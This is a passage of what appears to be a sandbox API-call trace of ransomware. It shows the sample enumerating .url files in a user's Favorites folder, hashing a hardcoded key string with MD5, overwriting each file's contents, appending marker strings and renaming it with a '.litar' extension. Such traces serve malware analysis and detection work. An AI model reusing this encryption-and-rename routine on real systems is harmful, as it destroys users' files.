(hObject=0x624) returned 1 [0126.018] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0126.018] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.018] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0126.018] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.litar")) returned 1 [0126.018] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.018] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.019] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.019] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0126.019] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.019] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.019] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned=".url" [0126.019] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.020] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=133) returned 1 [0126.021] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.022] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.022] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.023] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.023] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x85, lpOverlapped=0x0) returned 1 [0126.023] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.024] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.024] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.024] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.024] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.024] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.024] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.024] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.024] GetLastError () returned 0x0 [0126.025] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.025] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.025] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.025] WriteFile (in: hFile=0x624, lpBuffer=0x2ff7df0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x2ff7df0*, lpNumberOfBytesWritten=0x398fb24*=0x80, lpOverlapped=0x0) returned 1 [0126.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.025] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.025] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.025] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.025] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.025] CloseHandle (hObject=0x624) returned 1 [0126.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0126.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0126.026] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.litar")) returned 1 [0126.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.027] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.028] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0126.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.028] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned=".url" [0126.028] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.028] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=133) returned 1 [0126.028] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.030] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.030] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.031] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.031] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.031] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x85, lpOverlapped=0x0) returned 1 [0126.031] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.031] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.031] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.031] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.031] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.032] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.032] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.032] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.032] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.032] GetLastError () returned 0x0 [0126.032] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.032] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.032] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.032] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.032] WriteFile (in: hFile=0x624, lpBuffer=0x2ff7df0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x2ff7df0*, lpNumberOfBytesWritten=0x398fb24*=0x80, lpOverlapped=0x0) returned 1 [0126.032] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.032] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.033] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.033] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.033] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.033] CloseHandle (hObject=0x624) returned 1 [0126.033] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0126.034] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0126.034] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.litar")) returned 1 [0126.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.034] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.035] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0126.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.035] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.035] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned=".url" [0126.035] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.036] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=133) returned 1 [0126.036] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.038] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.038] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.039] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.039] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x85, lpOverlapped=0x0) returned 1 [0126.039] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.039] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.039] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.039] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.040] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.040] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.040] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.040] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.040] GetLastError () returned 0x0 [0126.040] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.040] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.040] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.041] WriteFile (in: hFile=0x624, lpBuffer=0x2ff7df0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x2ff7df0*, lpNumberOfBytesWritten=0x398fb24*=0x80, lpOverlapped=0x0) returned 1 [0126.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.041] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.041] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.041] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.041] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.041] CloseHandle (hObject=0x624) returned 1 [0126.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0126.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.042] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0126.042] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.litar")) returned 1 [0126.042] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.042] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.043] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.043] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0126.043] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0126.044] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.044] RtlAllocateHeap (HeapHandle=0x5c0000, 